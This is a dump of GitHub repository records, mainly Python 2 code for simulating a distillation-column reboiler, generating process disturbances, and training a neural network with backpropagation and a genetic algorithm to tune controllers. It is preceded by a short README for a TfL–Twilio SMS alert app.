"text": "# TFL-Twilio-REST-API\nA Python application which consumes the TFL & Twilio API services to enable SMS alerts\n\nAdd the TFL & Twilio API details to the environment variables on your machine or directly into the code.\n\nhttps://api.tfl.gov.uk/swagger/ui/index.html?url=/swagger/docs/v1#!/Line/Line_StatusByIds\n\nExample request URL\nhttps://api.tfl.gov.uk/Line/Jubilee/Status?detail=true\n\nSign up to Twilio \nhttps://www.twilio.com/\n"
}
] | 2 |
Lugiax/AutomaticControl | https://github.com/Lugiax/AutomaticControl | 95de3b971f27464e592f60f716cd093d39bab1a7 | b779f505263506035f1e9f931d8e311b2aec862d | bf0599a6ae49ec51c9340fd478e61c2e42050c3c | refs/heads/master | 2021-01-10T16:58:10.175881 | 2016-02-10T06:00:28 | 2016-02-10T06:00:28 | 48,385,760 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.4780109226703644,
"alphanum_fraction": 0.5053176283836365,
"avg_line_length": 30.29729652404785,
"blob_id": "91ef353a101d1aeae02c00427c39ab5e424e45a3",
"content_id": "5ad0cbde152bc398d8d5fb39354b1705aa7134f3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3480,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 111,
"path": "/Subrutinas.py",
"repo_name": "Lugiax/AutomaticControl",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 14 22:11:43 2016\n\n@author: root\n\"\"\"\n\nfrom __future__ import division\nimport numpy as np\nimport random as rnd\nimport matplotlib.pyplot as plt\n###############################################################################\ndef Perturbaciones(rango,dt=0.01,n_perts=50,plot=0,tipo=None,seed=None,sin_pert=False):\n rnd.seed(seed);np.random.seed(seed)\n '''\n Generador aleatorio de funciones tipo perturbaciones en un rango (inicio,fin)\n '''\n def f_pert(x,mag,tipo,mitad):\n if tipo==1:#rampa\n return((x-inicio/l_L)*mag)\n elif tipo==2:\n return(mag)\n elif tipo==3:\n return (mag*np.exp(-(x-mitad)**2/(2*0.001**2)))\n \n x0,xmax=rango\n xmax/=dt\n L=(np.random.rand(xmax-x0)*2-1)*.1\n\n l_L=len(L)\n perts=list()\n for i in range(n_perts):\n L_p=np.copy(L)\n if sin_pert and rnd.random()>0.8:\n perts.append(L_p)\n if plot==1:\n plt.plot(L_p)\n plt.show()\n continue\n proporcion=rnd.random() #Proporcion de la perturbacion\n prop_inicio=rnd.random() #lugar del inicio de la perturbacion\n prop_magnitud=rnd.random() #proporcion de la magnitud\n if not tipo: tipo=rnd.randint(1,3) #Perturbación tipo:1-rampa, 2-escalon, 3-dirac\n \n if tipo==1: #Rampa\n magnitud=rnd.randint(-10,10)*prop_magnitud\n elif tipo==2:#Escalon\n magnitud=rnd.randint(-5,5)*prop_magnitud\n elif tipo==3:#Dirac\n magnitud=rnd.randint(-10,10)*prop_magnitud\n \n inicio=int((1-proporcion)*prop_inicio*l_L)\n num_datos_modificados=int(l_L*proporcion)\n \n for j in range(num_datos_modificados):\n L_p[inicio+j]+=f_pert((inicio+j)/l_L,magnitud,tipo,(num_datos_modificados/2+inicio)/l_L)\n \n L_p[inicio+j+1:]+=L_p[inicio+j]\n \n perts.append(L_p)\n if plot==1:\n plt.plot(L_p)\n plt.show()\n \n return(perts)\n \n############################################################################### \n \ndef Perturbar(pert=None,Lvar0=None,inter=(0,1),dt=0.01):\n '''\n Generador de perturbaciones en un arreglo Lvar0 en un intervalo (inicio,fin)\n '''\n Lvar=np.copy(Lvar0)\n gauss= lambda x:10*np.exp(-(x-0.5)**2/(2*0.05**2))\n for i in range(1):\n inicio=inter[0]\n intervalo=inter[1]-inter[0]\n fin=int(inicio+intervalo)\n x=0\n for j in range(int(inicio/dt),int(fin/dt)):\n if pert==0:\n Lvar[j]=Lvar[j]+gauss(x*dt)\n elif pert==1:\n Lvar[j]=Lvar[j]-gauss(x*dt)\n elif pert==2:\n Lvar[j]=Lvar[j]+(x*dt)*3\n elif pert==3:\n Lvar[j]=Lvar[j]-(x*dt)*3\n elif pert==4:\n Lvar[j]=Lvar[j]-(x*dt)*3+gauss(x*dt)\n elif pert==5:\n Lvar[j]=Lvar[j]+(x*dt)*3-gauss(x*dt)\n x+=1\n return(Lvar)\n \n###############################################################################\n\ndef norm(a,maxmin=None):\n arr=np.copy(a)\n if not maxmin:\n minimo=np.min(arr)\n maximo=np.max(arr)\n return((arr-minimo)/(maximo-minimo),(maximo,minimo))\n else:\n maximo=maxmin[0];minimo=maxmin[1]\n return((arr-minimo)/(maximo-minimo))\n\ndef denorm(a,maxmin):\n maximo,minimo=maxmin\n arr=np.copy(a)\n return(arr*(maximo-minimo)+minimo)\n\n "
},
{
"alpha_fraction": 0.617986798286438,
"alphanum_fraction": 0.6423267126083374,
"avg_line_length": 28.573171615600586,
"blob_id": "21bd69997bec8a06c19070628dd72b82a4026ac5",
"content_id": "d4dc48b39ad86f663497a055cb538750c70e8032",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2426,
"license_type": "no_license",
"max_line_length": 172,
"num_lines": 82,
"path": "/Main3.py",
"repo_name": "Lugiax/AutomaticControl",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 4 11:24:45 2016\n\nEntrenamiento de la red neuronal con los resultados de Main.py\n\n@author: carlos\n\"\"\"\nfrom __future__ import division\nimport numpy as np\nfrom RN2 import RedNeuronal\nimport matplotlib.pyplot as plt\nimport re\nfrom Subrutinas import norm \n\nwith open('resultadosAG.txt','r') as f:\n datos=f.read()\n\ndatosx=re.findall('\\<pert0\\>([-\\d.,]+)',datos)\ndatosy=re.findall('\\<par\\>([-\\d.,]+)',datos)\ninterx=float(re.findall('\\<interx\\>([-\\d.]+)',datos)[0])\nintery=float(re.findall('\\<intery\\>([-\\d.]+)',datos)[0])\ndt=float(re.findall('\\<dt\\>([-\\d.]+)',datos)[0])\n\ntabla_resultados=list()\nnpert=len(datosx)\ncontr_l=[list(),list(),list()]\nfor i in range(npert):\n datox=datosx[i].split(',')\n datox=[float(x) for x in datox]\n datoy=datosy[i].split(',')\n datoy=[float(x) for x in datoy]\n contr_l[0].append(datoy[0])\n contr_l[1].append(datoy[1])\n contr_l[2].append(datoy[2])\n if len(datox)==100 and len(datoy)==3:\n tabla_resultados.append([datox,datoy])\n else:\n print 'La perturbacion {} no cumple con las dimensiones-> x:{} ; y:{}'.format(i+1,len(datosx),len(datosy))\nplt.figure(figsize=(15,7))\nplt.subplot(1,3,1)\nplt.plot(contr_l[0])\nplt.title('Controlador Proporcional')\nplt.subplot(1,3,2)\nplt.plot(contr_l[1])\nplt.title('Controlador Derivativo')\nplt.subplot(1,3,3)\nplt.plot(contr_l[2])\nplt.title('Controlador Integrativo')\nplt.show()\nx_ent=list();y_ent=list()\nfor res in tabla_resultados:\n x=list(norm(res[0],(interx,-interx)))\n y=list(norm(res[1],(intery,0)))\n x_ent.append(list(x))\n y_ent.append(list(y))\n\n''' \nEntrenamiento de la red neuronal\n'''\ntipo_ent='EL'\ndatos=(np.array(x_ent),np.array(y_ent))\nprint '\\nInicio de la red'\nestructura=[10,10,5]\nred=RedNeuronal(estructura=estructura,deb=True)\npesos=red.Entrenar(datos_ent=datos,tipo_entrenamiento=tipo_ent,max_iter=1000000) \n\nprint '\\nFinalización de entrenamiento, se comienza a almacenar los pesos'\n\nwith open('./pruebasent.txt','w') as f:\n info='<entrenamiento><estructura>{}</estructura><interx>{}</interx><intery>{}</intery><dt>{}</dt>\\n'.format(','.join([str(k) for k in red.estructura]),interx,intery,dt)\n f.write(info)\n p=''\n for i in pesos:\n for k in i:\n for l in k:\n p=p+str(l)+','\n \n w=p[:-1]+'\\n' #Todo junto\n f.write('<pesos>'+w+'</pesos>\\</entrenamiento>')\n \nprint '\\nFin de la operación'"
},
{
"alpha_fraction": 0.5097737312316895,
"alphanum_fraction": 0.5217565894126892,
"avg_line_length": 39.912330627441406,
"blob_id": "1eb83edb48d95043a1dc8a5db056f5efed2f16ac",
"content_id": "ea52099f560f9de7b1065fde8248aa9627e680f6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 14965,
"license_type": "no_license",
"max_line_length": 143,
"num_lines": 365,
"path": "/RN2.py",
"repo_name": "Lugiax/AutomaticControl",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 23 08:49:02 2015\n\n@author: carlos\nSe creará la clase de Red Neuronal\n\"\"\"\nfrom __future__ import division\nimport numpy as np\nimport numpy.random as rnd\nfrom AGmultivar import AG\n\n\nclass RedNeuronal(object):\n def __init__(self,estructura,datos_de_entrenamiento=None,neurodos_entrada_salida=None,deb=False,bias=1,seed=None):\n ## La estructura de la red deberá ser configurada como una tupla con\n ## los neurodos por capa que se desee que tenga la red, por ejemplo:\n ## Para una red con 3 capas ocultas y 5 neurodos por capa se deberá\n ## ingresar una tupla como la siguiente: (5,5,5)\n self.estructura=estructura[::]\n self.datos_de_entrenamiento=datos_de_entrenamiento\n if isinstance(neurodos_entrada_salida,(list,tuple)):\n entrada,salida=neurodos_entrada_salida\n self.estructura.insert(0,entrada);self.estructura.append(salida)\n \n if isinstance(datos_de_entrenamiento,(list,tuple)):\n nx=len(datos_de_entrenamiento[0]);ny=len(datos_de_entrenamiento[1])\n nueva_estructura=self.estructura[::]\n nueva_estructura.insert(0,nx);nueva_estructura.append(ny)\n self.estructura=nueva_estructura\n \n ## Variables\n self.pesos=None\n self.bias=bias\n self.deb=deb\n self.seed=seed\n \n def FP(self,pesos=None,xi=None,seed=None,estructura=None):\n if not estructura:\n estructura=self.estructura\n if not isinstance(pesos,(np.ndarray,list)):\n pesos=self.pesos\n \n ##Ya que los pesos y los datos son correctos, se hace la propagación\n ##hacia adelante\n activaciones=[xi]\n for capa in range(len(estructura)-1):\n x=activaciones[capa]\n x=np.append(x,[[self.bias]])\n z=np.dot(pesos[capa],x)\n activaciones.append(self.sigmoide(z))\n\n return(activaciones)\n\n \n def Entrenar(self,datos_ent=None,pesos=None,alpha=0.3,max_iter=500000,seed=None,tipo_entrenamiento='EL',parametrosAG=(30,500),pruebasAG=1):\n ##Parametros AG:(Nind, Ngen) ; agpruebas-> Numero de pruebas para asegurar convergencia\n ##El tipo de entrenamiento por defecto es Fuera de Linea (FL), también\n ##puede seleccionarse el tipo En Linea (EL)\n if not seed: seed=self.seed\n ##Se confirma que los datos ingresados sean correctos, además de obtner\n ##el número de datos de entrada y de salida\n if not isinstance(datos_ent,(np.ndarray,list,tuple)):\n xi,yi=self.datos_de_entrenamiento\n nx,mx=verificarDatosEnt(xi);ny,my=verificarDatosEnt(yi)\n else:\n xi,yi=datos_ent\n nx,mx=verificarDatosEnt(xi);ny,my=verificarDatosEnt(yi)\n nueva_estructura=self.estructura[::]\n nueva_estructura.insert(0,nx);nueva_estructura.append(ny)\n self.estructura=nueva_estructura\n \n \n if mx!=my:\n raise ValueError('Las dimensiones de muestras de x y y no concuerdan')\n ##Se copia la estructura predeterminada de la red y se añade\n ##la cantidad de neurodos en la entrada y a la salida\n \n matrices,npesos=dimensionarMatricesDePesos(self.estructura)\n if self.deb:print 'Estructura/Matrices:',nueva_estructura,matrices\n ##Si no se ingresan los pesos, se crean aleatoriamente unos\n if not isinstance(pesos,np.ndarray):\n pesos=self.AsignarPesos(nueva_estructura,seed)\n if self.deb:print 'Pesos asignados'\n else:\n ##Se verifican los pesos para que puedan ser utilizados\n verificarPesos(nueva_estructura,pesos)\n if self.deb:print 'Pesos verificados'\n\n ## Entrenamiento\n if self.deb:print '\\nInicio de entrenamiento ,tipo: {}'.format(tipo_entrenamiento)\n \n if tipo_entrenamiento=='EL':\n '''\n Entrenamiento tipo En Linea, por cada muestra se actualizan los pesos\n '''\n for ent in range(max_iter):\n ##Seleccion de datos de entrenamiento\n num_entrenamiento=rnd.randint(0,mx)\n x=xi[num_entrenamiento];y=yi[num_entrenamiento]\n ##Propagacion hacia adelante\n activaciones=self.FP(pesos=pesos,xi=x,seed=seed)\n y_red=activaciones[-1]\n error=y-y_red\n ##Se calculan y almacenan las deltas de cada capa\n ##Para la capa final:\n d_final=(np.atleast_2d(error*self.sig_prim(y_red))).T\n deltas=[d_final]\n ##Para las demás capas:\n for i in range(len(activaciones)-2,0,-1):\n filas=range(len(pesos[i].T)-1)\n wi=(pesos[i].T)[filas,:]\n act=np.array([activaciones[i]]).T\n delta=np.dot(wi,deltas[-1])*self.sig_prim(act)\n deltas.append(delta)\n \n ##Se invierten para facilidad de uso posterior\n deltas.reverse()\n \n ##Actualizacion de pesos en linea\n for i in range(len(pesos)):\n act=np.atleast_2d(np.append(activaciones[i],[self.bias]))\n delta_pesos=np.dot(deltas[i],act)\n pesos[i]+=alpha*delta_pesos\n \n if ent%int(max_iter*.1)==0 and self.deb: print '\\nIteracion:',ent,' error:',.5*np.sum(error)**2,'\\n',y_red,'->',y\n \n elif tipo_entrenamiento=='FL':\n '''\n Entrenamiento fuera de linea, se prueba con todas las muestras y se actualizan después los pesos\n '''\n for ent in range(max_iter):\n \n deltas_pesos=list()\n for m in range(mx):\n# print '\\nMuestra',m+1,'-'*10\n ##Seleccion de datos de entrenamiento\n x=xi[m];y=yi[m][0]\n ##Propagacion hacia adelante, se almacenan todas las activaciones\n ##de los neurodos\n activaciones=self.FP(pesos=pesos,xi=x,seed=seed)\n y_red=activaciones[-1]\n error=y-y_red#-y*np.log(y_red)+(1-y)*np.log(1-y_red)\n ##Se calculan y almacenan las deltas de cada capa\n ##Para la capa final:\n d_final=(np.atleast_2d(error*self.sig_prim(y_red))).T\n deltas=[d_final]\n ##Para las demás capas:\n for i in range(len(activaciones)-2,0,-1):\n filas=range(len(pesos[i].T)-1)\n wi=(pesos[i].T)[filas,:]\n act=np.array([activaciones[i]]).T\n delta=np.dot(wi,deltas[-1])*self.sig_prim(act)\n deltas.append(delta)\n \n ##Se invierten para facilidad de uso posterior\n deltas.reverse()\n \n ##Actualizacion de pesos con el error total\n for i in range(len(pesos)):\n# print '\\nPesos',i+1\n act=np.atleast_2d(np.append(activaciones[i],[self.bias]))\n delta_pesos=np.dot(deltas[i],act)\n try:\n# print 'Anteriores',deltas_pesos[i]\n# print 'A añadir',delta_pesos\n deltas_pesos[i]+=delta_pesos/mx\n \n #print 'Se suma la matriz de delta_pesos'\n except:\n# print 'Añadidos',delta_pesos\n deltas_pesos.append(delta_pesos/mx)\n #print 'Se agrega la matriz de delta_pesos'\n \n for i in range(len(deltas_pesos)):\n pesos[i]+=alpha*delta_pesos\n \n if ent%int(max_iter*.1)==0 and self.deb: print '\\nIteracion:{:^8} - error:{:^5.4e}'.format(ent,.5*np.sum(error)**2)\n \n elif tipo_entrenamiento=='AG':\n '''\n Entrenamiento por medio de algoritmo genético!!! :D\n '''\n if not parametrosAG: ##Revisando los parámetros\n raise ValueError('No hay parametros para el Algoritmo genético')\n else:\n num_individuos,num_generaciones=parametrosAG\n \n ag=AG(deb=self.deb)##Se inicia el AG y se asignan parámetros\n ag.parametros(optim=0,Nind=num_individuos,Ngen=num_generaciones,pruebas=pruebasAG)\n ##Se define la función objetivo, la que deberá optimizarse\n def fobj(pesos,est):\n error_tot=0\n for m in range(mx):#mx):\n x=xi[m]\n W=redimensionarPesos(pesos,est)\n y_red=self.FP(pesos=W,xi=x)[-1]\n y=yi[m]\n error_par=(y-y_red)**2#-y*np.log(a)-(1-y)*np.log(1-a)\n error_tot+=np.array([np.sum(error_par)])\n \n return(error_tot/(m+1)) \n\n ag.variables(comun=[npesos,-50,50])\n ag.Fobj(fobj,matrices)\n Went,error=ag.start()\n pesos=redimensionarPesos(Went,matrices)\n \n print 'Error min: {:.4e}'.format(error[0])\n\n elif tipo_entrenamiento=='CM':\n '''\n Entrenamiento combinado entre Algoritmo Genético y\n BackPropagation\n '''\n if not parametrosAG: ##Revisando los parámetros\n raise ValueError('No hay parametros para el Algoritmo genético')\n else:\n num_individuos,num_generaciones=parametrosAG\n \n ag=AG(deb=self.deb)##Se inicia el AG y se asignan parámetros\n ag.parametros(optim=0,Nind=num_individuos,Ngen=num_generaciones,pruebas=pruebasAG)\n ##Se define la función objetivo, la que deberá optimizarse\n def fobj(pesos,est):\n error_tot=0\n for m in range(mx):#mx):\n x=xi[m]\n W=redimensionarPesos(pesos,est)\n y_red=self.FP(pesos=W,xi=x)[-1]\n y=yi[m]\n error_par=(y-y_red)**2#-y*np.log(a)-(1-y)*np.log(1-a)\n error_tot+=np.array([np.sum(error_par)])\n \n return(error_tot/(m+1)) \n\n ag.variables(comun=[npesos,-50,50])\n ag.Fobj(fobj,matrices)\n Went,error=ag.start()\n pesos=redimensionarPesos(Went,matrices)\n \n if self.deb:print 'Error min: {:.4e}\\n\\nComienza BackProp'.format(error[0])\n\n for ent in range(max_iter):\n ##Seleccion de datos de entrenamiento\n num_entrenamiento=rnd.randint(0,mx)\n x=xi[num_entrenamiento];y=yi[num_entrenamiento]\n ##Propagacion hacia adelante\n activaciones=self.FP(pesos=pesos,xi=x,seed=seed)\n y_red=activaciones[-1]\n error=y-y_red\n ##Se calculan y almacenan las deltas de cada capa\n ##Para la capa final:\n d_final=(np.atleast_2d(error*self.sig_prim(y_red))).T\n deltas=[d_final]\n ##Para las demás capas:\n for i in range(len(activaciones)-2,0,-1):\n filas=range(len(pesos[i].T)-1)\n wi=(pesos[i].T)[filas,:]\n act=np.array([activaciones[i]]).T\n delta=np.dot(wi,deltas[-1])*self.sig_prim(act)\n deltas.append(delta)\n \n ##Se invierten para facilidad de uso posterior\n deltas.reverse()\n \n ##Actualizacion de pesos en linea\n for i in range(len(pesos)):\n act=np.atleast_2d(np.append(activaciones[i],[self.bias]))\n delta_pesos=np.dot(deltas[i],act)\n pesos[i]+=alpha*delta_pesos\n \n if ent%int(max_iter*.1)==0 and self.deb: print '\\nIteracion:',ent,' error:',.5*np.sum(error)**2,'\\n',y_red,'->',y\n \n if self.deb:print 'Fin del entrenamiento'\n \n self.pesos=pesos\n return(pesos)\n\n \n def AsignarPesos(self,estructura,seed=None):\n rnd.seed(seed)\n ##Si no hay pesos asignados se crea la matriz de pesos aleatorios\n est,num_total_pesos=dimensionarMatricesDePesos(estructura)\n pesos_sin_formato=2*rnd.rand(num_total_pesos)-1\n pesos=redimensionarPesos(pesos_sin_formato,est)\n return(pesos)\n \n def sigmoide(self,a):\n return(1.0/(1.0+np.exp(-a)))\n \n def sig_prim(self,a):\n return(a*(1.-a))\n \n\n'''\n-------------------------------------------------------------------------------\n'''\ndef verificarDatosEnt(datos):\n l=None\n m=0\n for i in datos:\n li=len(i)\n if not l:\n l=li\n else:\n if li!=l:\n raise ValueError('La configuración de los datos no es la misma')\n break\n m+=1\n return(l,m)\n\ndef verificarPesos(est,pesos):\n matriz=dimensionarMatricesDePesos(est)[0]\n for i in range(len(pesos)):\n if matriz[i]!=pesos[i].shape:\n raise ValueError('La matriz de pesos no concuerda don la estructura')\n \ndef dimensionarMatricesDePesos(arq):\n matrices=[]\n nPesos=0\n for i in range(1,len(arq)):\n ##Se le suma el uno para contar el neurodo bias\n matrices.append((arq[i],arq [i-1]+1))\n nPesos+=arq[i]*(arq[i-1]+1)\n \n return(matrices,nPesos)\n \ndef redimensionarPesos(pesos,estructura):\n W=list()\n lant=0\n cont=0\n for i in estructura:\n l=i[0]*i[1]\n W.append(np.reshape(pesos[lant:lant+l],i))\n lant+=l;cont+=1\n \n return(W)\n\n'''\n-------------------------------------------------------------------------------\n'''\n\n\nif __name__=='__main__':\n est=[2,2]#real es [2,2,2,1]\n nn=RedNeuronal(est,deb=True)\n xi=np.array([[0,0],\n [1,0],\n [0,1],\n [1,1]])\n yi=[[0],[1],[1],[0]]\n yi=np.array(yi)\n\n# xi=np.array([[.05,.1]])\n# yi=np.array([[.01,.99]])\n nuevos_pesos=nn.Entrenar(datos_ent=(xi,yi),tipo_entrenamiento='CM',parametrosAG=(20,60),max_iter=3000)\n res=nn.FP(xi=[xi[0]],pesos=nuevos_pesos)\n print '\\nPredicciones'\n print xi[0],res[-1]\n res=nn.FP(xi=[xi[1]],pesos=nuevos_pesos)\n print xi[1],res[-1]\n res=nn.FP(xi=[xi[2]],pesos=nuevos_pesos)\n print xi[2],res[-1]\n res=nn.FP(xi=[xi[3]],pesos=nuevos_pesos)\n print xi[3],res[-1]\n \n"
},
{
"alpha_fraction": 0.4871467351913452,
"alphanum_fraction": 0.5506945848464966,
"avg_line_length": 36.06509017944336,
"blob_id": "703cbed3d38b29b1b61093ab551335c281fb4c08",
"content_id": "fdcd9222dfe27cf2b692d8a2dd59fc345c1f4581",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6270,
"license_type": "no_license",
"max_line_length": 153,
"num_lines": 169,
"path": "/columna2.py",
"repo_name": "Lugiax/AutomaticControl",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 15 08:53:04 2015\n\n@author: carlos\n\nModulo que contiene las diferentes clases que componen a una \ncolumna de destilación\n\"\"\"\nfrom numericos import newton\nimport numpy as np\nimport matplotlib.pyplot as plt\n'''\nRehervidor\nSu única alimentación es el líquido que baja del primer plato.\nSe añade además una cantidad de calor y se extraen dos corrientes:\nuna de fondos y otra de vapor.\nLa temperatura de referencia es 273.15K=0ºC\n'''\n\nclass reboiler():\n def __init__(self,deb=False):\n self.deb=deb\n \n '''Entradas'''\n self.L=0;self.xl=0;self.hl=0;self.Pt=0\n '''Salidas'''\n self.V=0;self.H=0\n self.B=0;self.x=0;self.h=0\n \n self.M=0;self.T=0\n\n '''Propiedades de mezcla y substancias'''\n self.lamvapsubs=(854,2260)\n self.cpsubs=(2.42,4.18)\n self.tono=((8.20417,1642.89,230.3),(8.0713,1730.63,233.426))\n self.alpha=2.54\n \n '''Constantes de Control'''\n self.kcb=0.7;self.tdb=0.9;self.Bref=9 ##Para fondos\n self.kcq=0.5;self.tdq=0.5 ##Para reboiler\n self.Mref=30##Para la masa del interior del reboiler\n \n '''Ecuaciones diferenciales'''\n self.dhdt=lambda M,B,h,Q,x:(self.L*self.hl - (self.Qvap*Q/self.lamvap_f(x)*(h+self.lamvap_f(x))+B*h) + Q - h * (self.L-(Q/self.lamvap_f(x)+B)))/M\n self.dMdt=lambda B,Q,x:self.L-(self.Qvap*Q/self.lamvap_f(x)+B)\n self.dQdt=lambda M,B,Q,x:-self.kcq*self.lamvap_f(x)*(self.Mref-M-self.tdq*(self.L-(self.Qvap*Q/self.lamvap_f(x)+B)))\n self.dBdt=lambda B:self.kcb*(self.Bref-B)/(1+self.tdb*self.kcb)\n self.dxdt=lambda M,B,Q,x:(self.L*self.xl-(Q/self.lamvap_f(x)*self.equil(x)+B*x)-x*(self.L-(self.Qvap*Q/self.lamvap_f(x)+B)))/M\n\n '''Ecuaciones no diferenciales'''\n self.lamvap_f=lambda x:(self.lamvapsubs[0]-self.lamvapsubs[1])*x+self.lamvapsubs[1]\n self.cp=lambda x:(self.cpsubs[0]-self.cpsubs[1])*x+self.cpsubs[1]\n self.equil=lambda x:self.alpha*x/(1+(self.alpha-1)*x)\n\n def Teb(self):\n def tonof(indice,T):\n A,B,C=self.tono[indice]\n return(10**(A-B/(C+T)))\n def fobj(T):\n Pa=tonof(0,T)\n Pb=tonof(1,T)\n x= (self.Pt-Pb)/(Pa-Pb)-self.x\n return(x)\n def teb(T):\n return(tonof(0,T)-self.Pt)\n return(newton(fobj,newton(teb,0)))\n \n def condini(self):\n ## Condiciones iniciales:\n self.L=20;self.xl=0.8\n self.M=30.;self.Q=1.1e4;self.B=9\n ## Estado Estacionario: self.M=30;self.Q=1.08e4;self.B=9;self.V=11\n self.x=self.xl;self.y=self.equil(self.x);lamvap=self.lamvap_f(self.x)\n self.hl=220.;self.h=self.hl;self.H=self.h+lamvap\n self.T=self.h/self.cp(self.x);self.V=self.Q/self.lamvap_f(self.x)\n self.Pt=760.##mmHg\n \n def actualizar(self,t,paso=0.1):\n Teb=self.Teb()\n M=self.M;B=self.B;h=self.h;x=self.x;Q=self.Q\n \n if self.T>=Teb:\n self.Qvap=1\n else:\n self.Qvap=0\n \n k11=self.dhdt(M,B,h,Q,x)\n k12=self.dMdt(B,Q,x)\n k13=self.dQdt(M,B,Q,x)\n k14=self.dBdt(B)\n k15=self.dxdt(M,B,Q,x)\n k21=self.dhdt(M+paso*k12/2,B+paso*k14/2,h+paso*k11/2,Q+paso*k13/2,x+paso*k15/2)\n k22=self.dMdt(B+paso*k14/2,Q+paso*k13/2,x+paso*k15/2)\n k23=self.dQdt(M+paso*k12/2,B+paso*k14/2,Q+paso*k13/2,x+paso*k15/2)\n k24=self.dBdt(B+paso*k14/2)\n k25=self.dxdt(M+paso*k12/2,B+paso*k14/2,Q+paso*k13/2,x+paso*k15/2)\n k31=self.dhdt(M+paso*k22/2,B+paso*k24/2,h+paso*k21/2,Q+paso*k23/2,x+paso*k25/2)\n k32=self.dMdt(B+paso*k24/2,Q+paso*k23/2,x+paso*k25/2)\n k33=self.dQdt(M+paso*k22/2,B+paso*k24/2,Q+paso*k23/2,x+paso*k25/2)\n k34=self.dBdt(B+paso*k24/2)\n k35=self.dxdt(M+paso*k22/2,B+paso*k24/2,Q+paso*k23/2,x+paso*k25/2)\n k41=self.dhdt(M+paso*k32,B+paso*k34,h+paso*k31,Q+paso*k33,x+paso*k35)\n k42=self.dMdt(B+paso*k34,Q+paso*k33,x+paso*k35/2)\n k43=self.dQdt(M+paso*k32,B+paso*k34,Q+paso*k33,x+paso*k35)\n k44=self.dBdt(B+paso*k34)\n k45=self.dxdt(M+paso*k32,B+paso*k34,Q+paso*k33,x+paso*k35)\n\n if M>0:\n dx=paso*(k15+2*k25+2*k35+k45)/6\n dM=paso*(k12+2*k22+2*k32+k42)/6\n else:\n dx=0;dM=0\n self.x+=dx\n self.M+=dM\n self.Q+=paso*(k13+2*k23+2*k33+k43)/6\n self.h+=paso*(k11+2*k21+2*k31+k41)/6\n self.B+=paso*(k14+2*k24+2*k34+k44)/6\n \n if self.Q<0:\n self.Q=0\n self.V=self.Qvap*self.Q/self.lamvap_f(self.x)\n self.T=self.h/self.cp(self.x)\n \n \n def simular(self,controladores,Lvar,dt=0.01,plot=0):\n self.kcb,self.tdb,self.kcq,self.tdq=controladores\n self.condini()\n t=0\n Ml,Bl,Vl,tl,Tl,xli=[self.M],[self.B],[self.V],[t],[self.T],[self.x]\n for i in range(len(Lvar)):\n t+=dt\n self.L=float(Lvar[i])\n self.actualizar(t,dt)\n Ml.append(self.M),Bl.append(self.B),Vl.append(self.V),Tl.append(self.T),tl.append(t),xli.append(self.x)\n\n if plot==1:\n print('Graficando la simulacion')\n plt.figure(figsize=(16,10))\n \n plt.subplot(2,2,1);plt.grid(True)\n plt.plot(tl,Ml,'b.',label='Acumulacion')\n plt.plot(tl,Bl,'g.',label='Fondos')\n plt.plot(tl,Vl,'r.',label='Vapor')\n plt.xlabel('tiempo');plt.ylabel('kg/min')\n plt.legend(loc=4)\n \n plt.subplot(2,2,2);plt.grid(True)\n plt.plot(tl,Tl,'b.')\n plt.xlabel('tiempo');plt.ylabel('Temperatura')\n \n plt.subplot(2,2,3);plt.grid(True)\n plt.title('Perturbacion')\n plt.plot(Lvar)\n plt.xlabel('tiempo');plt.ylabel('Flujo de entrada')\n \n plt.subplot(2,2,4);plt.grid(True)\n plt.title('FraccionMolar')\n plt.plot(tl,xli,'b.')\n plt.xlabel('tiempo');plt.ylabel('X')\n \n plt.show()\n \n return(np.trapz(np.abs(np.array(Ml[-25:])-20)))\n \nif __name__=='__main__':\n \"\"\"\n Cambia de Script\n \"\"\""
},
{
"alpha_fraction": 0.6167639493942261,
"alphanum_fraction": 0.643035888671875,
"avg_line_length": 34.776119232177734,
"blob_id": "6a5c9cfc20d40ffa03613b0296eb331d6a6c2999",
"content_id": "e080df05b58d065ec6e20f074cbe73e5754705ef",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2404,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 67,
"path": "/Main.py",
"repo_name": "Lugiax/AutomaticControl",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 7 10:13:00 2015\n\n@author: carlosaranda\nGenera datos para el entrenamiento de la red neuronal\n\"\"\"\nfrom __future__ import division\n\nfrom ModeloReboiler import Reboiler\nfrom AGmultivar import AG\nimport numpy as np\nimport time\nfrom Subrutinas import Perturbaciones\nimport matplotlib.pyplot as plt\n \ndt=0.01 \nnumero_de_perturbaciones=100\nLvar0=np.random.random(int(1/dt))*2-1+20\nset_de_perturbaciones=Perturbaciones((0,1),dt=dt,\n n_perts=numero_de_perturbaciones,\n plot=0,sin_pert=True)\nprint 'Generación de perturbaciones exitosa'\ninterx=10 #magnitud de las perturbaciones \nintery=3 #valor máximo que pueden tomar los valores de los controladores\n\nAGS=AG(deb=True)\nAGnInd=30;AGnGen=100; cores=6\nAGS.parametros(optim=0,Nind=AGnInd,Ngen=AGnGen,cores=cores)\nAGS.variables(comun=[3,0,intery])## 3 variables para los controladores, tomando \n ## valores mínimos de 0 y máximos de 5\n\n#tabla_resultados=list()\n\narchivo='resultadosAG.txt' ##Nombre del archivo en donde se almacenarán los datos\nwith open(archivo,'w') as f:\n f.write('<prueba>\\n<parametros> <nind>{}</nind> <ngen>{}</ngen> \\\n <interx>{}</interx> <intery>{}</intery> <dt>{}</dt> </parametros> \\\n Ahora se suma tambien los parametros a la funcion a minimizar\\n'\\\n .format(AGnInd,AGnGen,interx,intery,dt))\n\nprint 'Inicio de 